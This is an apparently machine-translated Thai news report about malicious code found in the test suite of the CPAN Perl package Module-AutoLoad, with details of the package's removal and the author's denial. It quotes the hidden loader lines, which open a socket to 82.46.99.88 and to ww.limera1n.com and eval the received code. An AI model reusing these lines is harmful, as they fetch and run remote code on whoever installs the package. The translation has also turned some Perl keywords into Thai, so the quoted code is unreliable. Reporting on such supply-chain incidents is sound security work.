ตรวจพบรหัสที่เป็นอันตรายในแพ็คเกจ Module-AutoLoad Perl

ในแพ็คเกจ Perl เผยแพร่ผ่านไดเร็กทอรี CPAN โมดูล-โหลดอัตโนมัติออกแบบมาเพื่อโหลดโมดูล CPAN โดยอัตโนมัติทันที ระบุ รหัสที่เป็นอันตราย ส่วนแทรกที่เป็นอันตรายคือ พบ ในรหัสทดสอบ 05_rcx.tซึ่งได้รับการจัดส่งมาตั้งแต่ปี 2011
เป็นที่น่าสังเกตว่ามีคำถามเกี่ยวกับการโหลดโค้ดที่น่าสงสัยเกิดขึ้น Stackoverflow ย้อนกลับไปในปี 2016

กิจกรรมที่เป็นอันตรายเกิดขึ้นจากการพยายามดาวน์โหลดและเรียกใช้โค้ดจากเซิร์ฟเวอร์บุคคลที่สาม (http://r.cx:1/) ในระหว่างการดำเนินการชุดทดสอบที่เปิดตัวเมื่อติดตั้งโมดูล สันนิษฐานว่าโค้ดที่ดาวน์โหลดครั้งแรกจากเซิร์ฟเวอร์ภายนอกไม่เป็นอันตราย แต่ตอนนี้คำขอถูกเปลี่ยนเส้นทางไปยังโดเมน ww.limera1n.com ซึ่งให้ส่วนของโค้ดสำหรับการดำเนินการ

เพื่อจัดระเบียบการดาวน์โหลดเป็นไฟล์ 05_rcx.t ใช้รหัสต่อไปนี้:

$prog ของฉัน = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
$try ของฉัน = `$^X $prog`;

รหัสที่ระบุทำให้สคริปต์ถูกเรียกใช้งาน ../contrib/RCX.plเนื้อหาที่ลดลงเหลือบรรทัด:

ใช้ lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88":1″};

สคริปต์นี้โหลด สับสน การใช้บริการ perlobfuscator.com รหัสจากโฮสต์ภายนอก r.cx (รหัสอักขระ 82.46.99.88 สอดคล้องกับข้อความ "R.cX") และดำเนินการในบล็อก eval

$ perl -MIO::Socket -e'$b=ใหม่ IO::Socket::INET 82.46.99.88":1″; พิมพ์ <$b>;'
eval แกะ u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

หลังจากแกะกล่องออกแล้ว การดำเนินการต่อไปนี้จะดำเนินการในท้ายที่สุด: รหัส:

พิมพ์ {$b=ใหม่ IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@ While$b;1

ขณะนี้แพ็กเกจที่มีปัญหาได้ถูกลบออกจากที่เก็บแล้ว PAUSE (เซิร์ฟเวอร์อัปโหลดผู้สร้าง Perl) และบัญชีของผู้สร้างโมดูลถูกบล็อก ในกรณีนี้ โมดูลจะยังคงอยู่ ใช้ได้ ในไฟล์เก็บถาวร MetaCPAN และสามารถติดตั้งได้โดยตรงจาก MetaCPAN โดยใช้ยูทิลิตี้บางอย่าง เช่น cpanminus มีข้อสังเกตว่าแพ็คเกจยังไม่แพร่หลาย

น่าสนใจที่จะหารือ เชื่อมต่อแล้ว และผู้เขียนโมดูลซึ่งปฏิเสธข้อมูลว่ามีการแทรกโค้ดที่เป็นอันตรายหลังจากไซต์ของเขา “r.cx” ถูกแฮ็ก และอธิบายว่าเขาแค่กำลังสนุก และใช้ perlobfuscator.com ไม่ซ่อนบางสิ่ง แต่เพื่อลดขนาด ของโค้ดและทำให้การคัดลอกง่ายขึ้นผ่านคลิปบอร์ด การเลือกชื่อฟังก์ชัน “botstrap” อธิบายได้จากข้อเท็จจริงที่ว่าคำนี้ “ฟังดูคล้ายกับบอทและสั้นกว่า bootstrap” ผู้เขียนโมดูลยังมั่นใจด้วยว่าการจัดการที่ระบุจะไม่ดำเนินการที่เป็นอันตราย แต่เพียงสาธิตการโหลดและการเรียกใช้โค้ดผ่าน TCP เท่านั้น

ที่มา: opennet.ru

เพิ่มความคิดเห็น